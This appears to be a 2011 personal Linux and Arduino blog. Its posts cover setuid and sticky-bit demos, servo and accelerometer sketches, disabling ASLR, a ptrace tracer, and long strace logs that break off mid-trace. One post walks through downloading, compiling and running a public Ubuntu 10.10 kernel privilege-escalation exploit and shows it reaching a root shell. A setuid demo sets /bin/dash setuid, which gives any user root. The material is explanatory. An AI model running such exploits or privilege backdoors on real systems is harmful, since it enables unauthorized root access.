Thursday, March 31, 2011

Linux and SETUID (SETGID, Sticky bit)

Every file in Linux has read, write and execute rights for the owner, group and others. Besides those attributes there are 3 extra attributes setuid, setgid and sticky bit.
1) The setuid attribute is meaningful for executable files. If this bit is set then the user ID would be set as that of the owner of executable rather than the current user. For example the sudo tool owner is root and the setuid bit is set on, and when another user run this program, it will be executed as root. If set off the setuid attribute, then the sudo tool will not work, because it will run as a normal user without root permissions.
$ which sudo
/usr/bin/sudo
$ cp /usr/bin/sudo ./ # copy sudo tool
$ sudo chown root:root sudo #convert owner to root
$ ll
...
-rwxr-xr-x 1 root root 147872 2011-03-31 19:50 sudo*
$
$ ./sudo echo 1 #this will give error
sudo: must be setuid root
$ sudo chmod u+s ./sudo
$ ll #see added setuid attribute
..
-rwsr-xr-x 1 root root 147872 2011-03-31 19:50 sudo*
$
$ ./sudo echo 1 # try again
1
$ #it works.
view raw setuid.bash hosted with ❤ by GitHub

 2) Setgid attribute is the analog to setuid, but for group ID.

3) In Linux sticky bit is meaningful for directories only(in old *nix systems it had another meaning also). If this bit is enabled on directory then the files in that directory may only be deleted or renamed by root or by their owner.
$ mkdir tmp
$ sudo chown root:root tmp # change owner to root
$ sudo chmod o+w tmp # add permission to other user to add files
$
$ sudo mkdir tmp/123 # create a directory owned by root
$ sudo chmod 777 tmp/123 # give all permissions, so other user can remove it.
$ rm -r tmp/123 # remove it without any problem.
$
$ sudo mkdir tmp/123 # create a directory owned by root again
$ sudo chmod 777 tmp/123 # give all permissions, so other user can remove it.
$ sudo chmod +t tmp # set on sticky bit
$ rm -r tmp/123/ # try to remove it.
rm: cannot remove `tmp/123': Operation not permitted
$
view raw sticky bit.sh hosted with ❤ by GitHub

One more sample related to setuid
$ echo -e "#"\!"/bin/dash\nwhoami" | sudo tee a.sh # create a script
#!/bin/dash
whoami
$ sudo chmod +x a.sh # add executable flag
$ ll # see root is the owner
...
-rwxr-xr-x 1 root root 19 2011-03-31 20:32 a.sh*
$
$ ./a.sh # it will print my username
<my user name>
$ sudo chmod +s a.sh # set on setuid
$ ./a.sh # surprisingly it prints my username again.
<my user name>
$ # the cause of above behavior is that,
$ # the a.sh isn't executable actually,
$ # the /bin/dash with a.sh argument is called,
$ # so we need to add +s to /bin/dash
$ sudo chmod +s /bin/dash # set on setuid
$ ./a.sh # now it gives root
root
$
$ sudo rm -rf * # remove all
$ echo -e "#"\!"/bin/dash\nwhoami" > a.sh # create a script
$ chmod +x ./a.sh # add executable flag
$ ll # now I am the owner
-rwxr-xr-x 1 <user name> <group name> 19 2011-03-31 20:30 a.sh
$
$ ./a.sh # it gives root again, because of setuid of /bin/dash
root
$
$ # At last, don't forget to bring back the attributes of dash
$ sudo chmod -s /bin/dash
$
view raw setuid2.bash hosted with ❤ by GitHub

Tuesday, March 29, 2011

Arduino and Servo motors

Arduino has a Servo library which allows to control servo motors. Today we will use the following small servo motor and write a program, which read a angle value from Serial port and rotate servo motor according to it.
This is the source code of program
#include <Servo.h>
// make sure the pin has PWM capability
const int servo_pin = 11;
Servo myservo;
void setup()
{
Serial.begin(9600);
myservo.attach(servo_pin);
}
void loop()
{
while (0 < Serial.available())
{
int pos = 0;
// Read number from Serial port
int b = -1;
while (-1 != (b = Serial.read()))
{
if (b > '9' || b < '0')
{
pos = 0;
Serial.println("Invalid number");
break;
}
pos = 10 * pos + (b - '0');
}
// Check is number in [0,180)
if ((0 <= pos) && (pos < 180)) {
Serial.println(pos, DEC);
myservo.write(pos);
} else {
Serial.println("Enter number in [0,180)");
}
}
delay(100);
}
view raw servo.pde hosted with ❤ by GitHub

Compile and upload above code to Arduino, then connect control pin(gray wire) of Servo motor to Arduino pin 11, connect black wire to Gnd of Arduino and red wire to +5V. This is how it looks:

And this is a video demonstration of moving Servo 0 -> 90 -> 180 -> 0 -> 90:

Monday, March 28, 2011

Security bug in Ubuntu 10.10

Yes, Ubuntu also has security bugs. But this one can be used in the last steps of attacking. There are some requirements for this code to work. Attacker need to find a vulnerability in a process and run a shellcode and if that executable has CAP_SYS_ADMIN capability, then using this bug it can get root privileges.

To run this exploit download source from http://www.exploit-db.com/download/15944 and do the following steps:
$ wget http://www.exploit-db.com/download/15944
$ mv 15944 15944.c
$ gcc 15944.c -o exe # ignore warnings(if any)
$ # For more info search CAP_SYS_ADMIN in /usr/include/linux/capability.h
$ # Unfortunately, we need root privileges here
$ sudo setcap cap_sys_admin+ep ./exe
$ whoami
<your username (different from root)>
$ ./exe
[*] Testing Phonet support and CAP_SYS_ADMIN...
[*] Resolving kernel symbols...
[+] Resolved proto_tab to 0xffffffffa019e290
[+] Resolved local_port_range to 0xffffffffa019e1a0
[+] Resolved pn_proto to 0xffffffffa019dfa0
[+] Resolved commit_creds to 0xffffffff81086890
[+] Resolved prepare_kernel_cred to 0xffffffff81086d60
[*] Preparing fake structures...
[*] Copying Structures.
[*] Underflowing with offset -30
[*] Elevating privlidges...
[*] This was a triumph... I'm making a note here, huge success.
# whoami #Checking if we success.
root
#
view raw exploit.sh hosted with ❤ by GitHub

How many G my car can pull?

In the previous article we study how to work with ADXL335 accelerometer. Today we will use it to measure car's acceleration. This is a sample program which get the values from sensor and send them through serial port to the computer. It measures every 20ms and do it 1000 times.
const int xpin = 0;
const int ypin = 1;
const int zpin = 2;
const int measue_count = 1000;
void setup()
{
Serial.begin(9600);
}
void loop()
{
//wait for input
while(0 == Serial.available());
Serial.read();
Serial.println("Start");
for (int i=0; i < measue_count; ++i)
{
Serial.print(i);
Serial.print("\t"); Serial.print(analogRead(xpin));
Serial.print("\t"); Serial.print(analogRead(ypin));
Serial.print("\t"); Serial.print(analogRead(zpin));
Serial.println();
delay(20);
}
Serial.println("End");
}
view raw ADXL335.pde hosted with ❤ by GitHub

Now lets connect ADXL335 to the Arduino and then compile and upload the above code.
Sensor placed in such way that Z axis is directed to front of car.(You can see it in the picture, on top of red box).

I run the program, type something and press enter in the Serial Monitor and then drive as fast as possible and then brake the car. Copy the values to the Google Docs Spreadsheet and create a chart for the values of Z axis (in which direction the acceleration occurs). But before creating charts lets understand how those numbers map to the real acceleration values in g. The Z axis can be directed downward and measure value (+1g), then direct it upward and measure again(-1g) and taking account that the measured values dependance on acceleration is linear, calculate which value correspond to 0g and which interval correspond to 1g interval. I get following results (approximate results)
    0g --  355
    1g interval -- 70 interval
The measured values also contain a lot of noise, so we need to filter out them.

This is unfiltered chart: Z_i


This is filtered and converted to G chart: ((Z_i + Z_i+1) /2 - 355) / 70


This is filtered(another filter) and converted to G chart: ((Z_i + Z_i+1 + Z_i+2) / 3  - 355) / 705

In the above chart you can see the shift of gear from 1 to 2 and then brake. After car stops and acceleration is 0.

Friday, March 25, 2011

ASLR and Linux personality syscall

In the previous article we talk about ASLR and how to disable it. There was a way to disable ASLR for a single process using setarch command. Now we are going to understand how setarch command do that. Lets use strace command to trace all system calls of setarch command with and without -R option
$ strace -o 1 setarch x86_64 -R ls
1 2 a.out aslr.c
$ strace -o 2 setarch x86_64 ls
1 2 a.out aslr.c
$ diff 1 2
...
a lot of differences
...

There are a lot of differences, because of the ASLR: In the log there are a lot memory addresses and they will be different. Now lets disable it for all processes and then do above steps again to filter out memory differences.
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
$ strace -o 1 setarch x86_64 -R ls
1 2 a.out aslr.c
$ strace -o 2 setarch x86_64 ls
1 2 a.out aslr.c
$ diff 1 2
1c1
< execve("/usr/bin/setarch", ["setarch", "x86_64", "-R", "ls"], [/* 38 vars */]) = 0
---
> execve("/usr/bin/setarch", ["setarch", "x86_64", "ls"], [/* 38 vars */]) = 0
33c33
< personality(0x40000 /* PER_??? */) = 0
---
> personality(PER_LINUX) = 0
123c123
< set_tid_address(0x7ffff7fdaa70) = 4718
---
> set_tid_address(0x7ffff7fdaa70) = 4720
$
Now we see that there is a system call named personality. It is difficult to understand from the man personality what this syscall actually do. So we can get a information from include file of personality syscall(in case of Ubuntu 10.10 it located at /usr/include/sys/personality.h). Here it is:
There is enum ADDR_NO_RANDOMIZE equal to 0x0040000 which passed in as an argument in personality in above difference logs. So we understand that we can disable the process's ASLR by calling personality syscall with ADDR_NO_RANDOMIZE argument. Lets modify the program from previous article and check is this works.
#include <stdio.h> // printf
#include <string.h> // strerror
#include <errno.h> // errno
#include <unistd.h> // execl
#include <sys/ptrace.h> // ptrace
#include <sys/user.h> // user_regs_struct
#include <sys/personality.h> // personality
int
main() {
// create a child process
int pid = fork();
// if error occurs
if (0 > pid) {
printf("Error during forking: %s\n", strerror(errno));
return 1;
}
// child process
if (0 == pid) {
ptrace(PTRACE_TRACEME, 0, 0, 0);
personality(ADDR_NO_RANDOMIZE);
execl("/bin/ls", "ls", NULL);
}
// parent process
int status;
struct user_regs_struct regs;
wait(&status);
while(1407 == status) {
// get registers
if (0 != ptrace(PTRACE_GETREGS, pid, 0, &regs))
printf("Error during ptrace: %s\n", strerror(errno));
// if the syscall is close(for example)
// wait so we can get memory maps.
if (3 == regs.orig_rax) {
// This scanf is for waiting for input,
// while we cat /proc/pid/maps
// to see if it differs from
// previous /proc/pid/maps
scanf("1");
}
// lets the child to continue his work until next sys call or sys exit
if (0 != ptrace(PTRACE_SYSCALL, pid, 0, 0) != 0)
printf("Error during ptrace: %s\n", strerror(errno));
wait(&status);
}
return 0;
}
view raw aslr.c hosted with ❤ by GitHub
Enable ASLR by echo 2 | sudo tee /proc/sys/kernel/randomize_va_space. Run above code twice and when they wait for input, dump the memory maps (get pid from htop and then cat /proc/pid/maps) and compare them: it works, the maps are the same. You can also comment out the line containing personality and get different memory maps.

Address space layout randomization (ASLR)

ASLR is a technique which randomly arranges the libraries, heap, stack and other pages in the memory in random positions. This technique designed for standing against security attacks. If the ASLR is disabled, the memory addresses of libraries and the stack are predefined, so the vulnerable codes(shellcodes) can use these information and directly call library functions. To check if the ASLR is enabled in the system we can run some program twice and compare memory maps.
$ cat /proc/self/maps > 1
$ cat /proc/self/maps > 2
$ diff 1 2
4,18c4,18
< 00ebe000-00edf000 rw-p 00000000 00:00 0 [heap]
< 7f4b0954e000-7f4b097f2000 r--p 00000000 08:01 786578 /usr/lib/locale/locale-archive
< 7f4b097f2000-7f4b0996c000 r-xp 00000000 08:01 133953 /lib/libc-2.12.1.so
< 7f4b0996c000-7f4b09b6b000 ---p 0017a000 08:01 133953 /lib/libc-2.12.1.so
< 7f4b09b6b000-7f4b09b6f000 r--p 00179000 08:01 133953 /lib/libc-2.12.1.so
< 7f4b09b6f000-7f4b09b70000 rw-p 0017d000 08:01 133953 /lib/libc-2.12.1.so
< 7f4b09b70000-7f4b09b75000 rw-p 00000000 00:00 0
< 7f4b09b75000-7f4b09b95000 r-xp 00000000 08:01 133961 /lib/ld-2.12.1.so
< 7f4b09d76000-7f4b09d79000 rw-p 00000000 00:00 0
< 7f4b09d93000-7f4b09d95000 rw-p 00000000 00:00 0
< 7f4b09d95000-7f4b09d96000 r--p 00020000 08:01 133961 /lib/ld-2.12.1.so
< 7f4b09d96000-7f4b09d97000 rw-p 00021000 08:01 133961 /lib/ld-2.12.1.so
< 7f4b09d97000-7f4b09d98000 rw-p 00000000 00:00 0
< 7fffbfc4c000-7fffbfc6d000 rw-p 00000000 00:00 0 [stack]
< 7fffbfd17000-7fffbfd18000 r-xp 00000000 00:00 0 [vdso]
---
> 012cb000-012ec000 rw-p 00000000 00:00 0 [heap]
> 7f6c9170e000-7f6c919b2000 r--p 00000000 08:01 786578 /usr/lib/locale/locale-archive
> 7f6c919b2000-7f6c91b2c000 r-xp 00000000 08:01 133953 /lib/libc-2.12.1.so
> 7f6c91b2c000-7f6c91d2b000 ---p 0017a000 08:01 133953 /lib/libc-2.12.1.so
> 7f6c91d2b000-7f6c91d2f000 r--p 00179000 08:01 133953 /lib/libc-2.12.1.so
> 7f6c91d2f000-7f6c91d30000 rw-p 0017d000 08:01 133953 /lib/libc-2.12.1.so
> 7f6c91d30000-7f6c91d35000 rw-p 00000000 00:00 0
> 7f6c91d35000-7f6c91d55000 r-xp 00000000 08:01 133961 /lib/ld-2.12.1.so
> 7f6c91f36000-7f6c91f39000 rw-p 00000000 00:00 0
> 7f6c91f53000-7f6c91f55000 rw-p 00000000 00:00 0
> 7f6c91f55000-7f6c91f56000 r--p 00020000 08:01 133961 /lib/ld-2.12.1.so
> 7f6c91f56000-7f6c91f57000 rw-p 00021000 08:01 133961 /lib/ld-2.12.1.so
> 7f6c91f57000-7f6c91f58000 rw-p 00000000 00:00 0
> 7fffd43fb000-7fffd441c000 rw-p 00000000 00:00 0 [stack]
> 7fffd4501000-7fffd4502000 r-xp 00000000 00:00 0 [vdso]
$
view raw shell.log hosted with ❤ by GitHub

The memory positions are different, that means the ASLR is enabled. From the debugging point of view it sometimes distrurbs and we need to disable it. There are 2 ways(known to me) to disable ASLR.
1) Disable ASLR using setarch command
$ # x86_64 is machine's architecture type, \
$ # a mandatory parameter of setarch command.
$ setarch x86_64 -R cat /proc/self/maps >1 # -R disables ASLR
$ setarch x86_64 -R cat /proc/self/maps >2 # -R disables ASLR
$ diff 1 2 # shows no difference
view raw shell2.log hosted with ❤ by GitHub


2) Disable ASLR for entire system
$ cat /proc/sys/kernel/randomize_va_space # see status of ASLR
2
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # disable ASLR
0
$ cat /proc/self/maps >1
$ cat /proc/self/maps >2
$ diff 1 2 # shows no difference again
view raw shell3.log hosted with ❤ by GitHub

Thursday, March 24, 2011

ptrace -- Linux system call

In the previous article the strace command observed, today we are going to understand how the strace tool works and write a simple system tracer program to trace system calls of ls program.
At first let strace the ls program
    strace -o ls.strace ls
execve("/bin/ls", ["ls"], [/* 38 vars */]) = 0
brk(0) = 0x61b000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff9000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=103209, ...}) = 0
mmap(NULL, 103209, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7ffff7fdf000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/libselinux.so.1", O_RDONLY) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260Y\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0644, st_size=117608, ...}) = 0
mmap(NULL, 2217520, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff7bbe000
mprotect(0x7ffff7bda000, 2093056, PROT_NONE) = 0
mmap(0x7ffff7dd9000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1b000) = 0x7ffff7dd9000
mmap(0x7ffff7ddb000, 1584, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ddb000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/librt.so.1", O_RDONLY) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\220!\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0644, st_size=31744, ...}) = 0
mmap(NULL, 2128848, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff79b6000
mprotect(0x7ffff79bd000, 2093056, PROT_NONE) = 0
mmap(0x7ffff7bbc000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x6000) = 0x7ffff7bbc000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/libacl.so.1", O_RDONLY) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\220\35\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0644, st_size=31208, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7fde000
mmap(NULL, 2126288, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff77ae000
mprotect(0x7ffff77b5000, 2093056, PROT_NONE) = 0
mmap(0x7ffff79b4000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x6000) = 0x7ffff79b4000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\240\356\1\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1572232, ...}) = 0
mmap(NULL, 3680296, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff742b000
mprotect(0x7ffff75a5000, 2093056, PROT_NONE) = 0
mmap(0x7ffff77a4000, 20480, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x179000) = 0x7ffff77a4000
mmap(0x7ffff77a9000, 18472, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7ffff77a9000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/libdl.so.2", O_RDONLY) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\340\r\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0644, st_size=14696, ...}) = 0
mmap(NULL, 2109696, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff7227000
mprotect(0x7ffff7229000, 2097152, PROT_NONE) = 0
mmap(0x7ffff7429000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x2000) = 0x7ffff7429000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/libpthread.so.0", O_RDONLY) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\240\\\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=136067, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7fdd000
mmap(NULL, 2212768, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff700a000
mprotect(0x7ffff7022000, 2093056, PROT_NONE) = 0
mmap(0x7ffff7221000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x17000) = 0x7ffff7221000
mmap(0x7ffff7223000, 13216, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7ffff7223000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/libattr.so.1", O_RDONLY) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0 \22\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0644, st_size=18704, ...}) = 0
mmap(NULL, 2113744, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff6e05000
mprotect(0x7ffff6e09000, 2093056, PROT_NONE) = 0
mmap(0x7ffff7008000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x3000) = 0x7ffff7008000
close(3) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7fdc000
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7fda000
arch_prctl(ARCH_SET_FS, 0x7ffff7fda7a0) = 0
mprotect(0x7ffff7008000, 4096, PROT_READ) = 0
mprotect(0x7ffff7221000, 4096, PROT_READ) = 0
mprotect(0x7ffff7429000, 4096, PROT_READ) = 0
mprotect(0x7ffff77a4000, 16384, PROT_READ) = 0
mprotect(0x7ffff79b4000, 4096, PROT_READ) = 0
mprotect(0x7ffff7bbc000, 4096, PROT_READ) = 0
mprotect(0x7ffff7dd9000, 4096, PROT_READ) = 0
mprotect(0x618000, 4096, PROT_READ) = 0
mprotect(0x7ffff7ffc000, 4096, PROT_READ) = 0
munmap(0x7ffff7fdf000, 103209) = 0
set_tid_address(0x7ffff7fdaa70) = 30688
set_robust_list(0x7ffff7fdaa80, 0x18) = 0
futex(0x7fffffffe2dc, FUTEX_WAKE_PRIVATE, 1) = 0
futex(0x7fffffffe2dc, FUTEX_WAIT_BITSET_PRIVATE|FUTEX_CLOCK_REALTIME, 1, NULL, 7ffff7fda7a0) = -1 EAGAIN (Resource temporarily unavailable)
rt_sigaction(SIGRTMIN, {0x7ffff700fb20, [], SA_RESTORER|SA_SIGINFO, 0x7ffff7019b40}, NULL, 8) = 0
rt_sigaction(SIGRT_1, {0x7ffff700fbb0, [], SA_RESTORER|SA_RESTART|SA_SIGINFO, 0x7ffff7019b40}, NULL, 8) = 0
rt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8) = 0
getrlimit(RLIMIT_STACK, {rlim_cur=8192*1024, rlim_max=RLIM_INFINITY}) = 0
statfs("/selinux", {f_type="EXT2_SUPER_MAGIC", f_bsize=4096, f_blocks=4934317, f_bfree=3580851, f_bavail=3330202, f_files=1253376, f_ffree=1012313, f_fsid={-690396760, 26947619}, f_namelen=255, f_frsize=4096}) = 0
brk(0) = 0x61b000
brk(0x63c000) = 0x63c000
open("/proc/filesystems", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0444, st_size=0, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff8000
read(3, "nodev\tsysfs\nnodev\trootfs\nnodev\tb"..., 1024) = 315
read(3, "", 1024) = 0
close(3) = 0
munmap(0x7ffff7ff8000, 4096) = 0
open("/usr/lib/locale/locale-archive", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=2768240, ...}) = 0
mmap(NULL, 2768240, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7ffff6b61000
close(3) = 0
ioctl(1, SNDCTL_TMR_TIMEBASE or SNDRV_TIMER_IOCTL_NEXT_DEVICE or TCGETS, {B38400 opost isig icanon echo ...}) = 0
ioctl(1, TIOCGWINSZ, {ws_row=43, ws_col=132, ws_xpixel=0, ws_ypixel=0}) = 0
open(".", O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = 3
fcntl(3, F_GETFD) = 0x1 (flags FD_CLOEXEC)
getdents(3, /* 7 entries */, 32768) = 216
getdents(3, /* 0 entries */, 32768) = 0
close(3) = 0
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 9), ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff8000
write(1, "ls.strace ls.trace strace.stra"..., 51) = 51
close(1) = 0
munmap(0x7ffff7ff8000, 4096) = 0
close(2) = 0
exit_group(0) = ?
view raw ls.strace.c hosted with ❤ by GitHub

To know which system calls the strace uses lets run it on itself. 
    strace -o strace.strace strace ls
execve("/usr/local/bin/strace", ["strace", "ls"], [/* 38 vars */]) = 0
brk(0) = 0x666000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff9000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=103209, ...}) = 0
mmap(NULL, 103209, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7ffff7fdf000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\240\356\1\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1572232, ...}) = 0
mmap(NULL, 3680296, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff7a59000
mprotect(0x7ffff7bd3000, 2093056, PROT_NONE) = 0
mmap(0x7ffff7dd2000, 20480, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x179000) = 0x7ffff7dd2000
mmap(0x7ffff7dd7000, 18472, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7ffff7dd7000
close(3) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7fde000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7fdd000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7fdc000
arch_prctl(ARCH_SET_FS, 0x7ffff7fdd700) = 0
mprotect(0x7ffff7dd2000, 16384, PROT_READ) = 0
mprotect(0x656000, 4096, PROT_READ) = 0
mprotect(0x7ffff7ffc000, 4096, PROT_READ) = 0
munmap(0x7ffff7fdf000, 103209) = 0
brk(0) = 0x666000
brk(0x687000) = 0x687000
getuid() = 1000
getgid() = 1000
stat("/usr/local/sbin/ls", 0x7fffffffd070) = -1 ENOENT (No such file or directory)
stat("/usr/local/bin/ls", 0x7fffffffd070) = -1 ENOENT (No such file or directory)
stat("/usr/sbin/ls", 0x7fffffffd070) = -1 ENOENT (No such file or directory)
stat("/usr/bin/ls", 0x7fffffffd070) = -1 ENOENT (No such file or directory)
stat("/sbin/ls", 0x7fffffffd070) = -1 ENOENT (No such file or directory)
stat("/bin/ls", {st_mode=S_IFREG|0755, st_size=105840, ...}) = 0
stat("/bin/ls", {st_mode=S_IFREG|0755, st_size=105840, ...}) = 0
clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7ffff7fdd9d0) = 30692
rt_sigaction(SIGTTOU, {SIG_IGN, [], SA_RESTORER, 0x7ffff7a8cc20}, NULL, 8) = 0
rt_sigaction(SIGTTIN, {SIG_IGN, [], SA_RESTORER, 0x7ffff7a8cc20}, NULL, 8) = 0
rt_sigaction(SIGHUP, {0x402160, [], SA_RESTORER, 0x7ffff7a8cc20}, NULL, 8) = 0
rt_sigaction(SIGINT, {0x402160, [], SA_RESTORER, 0x7ffff7a8cc20}, NULL, 8) = 0
rt_sigaction(SIGQUIT, {0x402160, [], SA_RESTORER, 0x7ffff7a8cc20}, NULL, 8) = 0
rt_sigaction(SIGPIPE, {0x402160, [], SA_RESTORER, 0x7ffff7a8cc20}, NULL, 8) = 0
rt_sigaction(SIGTERM, {0x402160, [], SA_RESTORER, 0x7ffff7a8cc20}, NULL, 8) = 0
rt_sigaction(SIGCHLD, {SIG_DFL, [], SA_RESTORER, 0x7ffff7a8cc20}, NULL, 8) = 0
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGSTOP}], __WALL, NULL) = 30692
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGSTOP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3b]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7fffffffd100]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffe370]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x7fffffffe380]) = 0
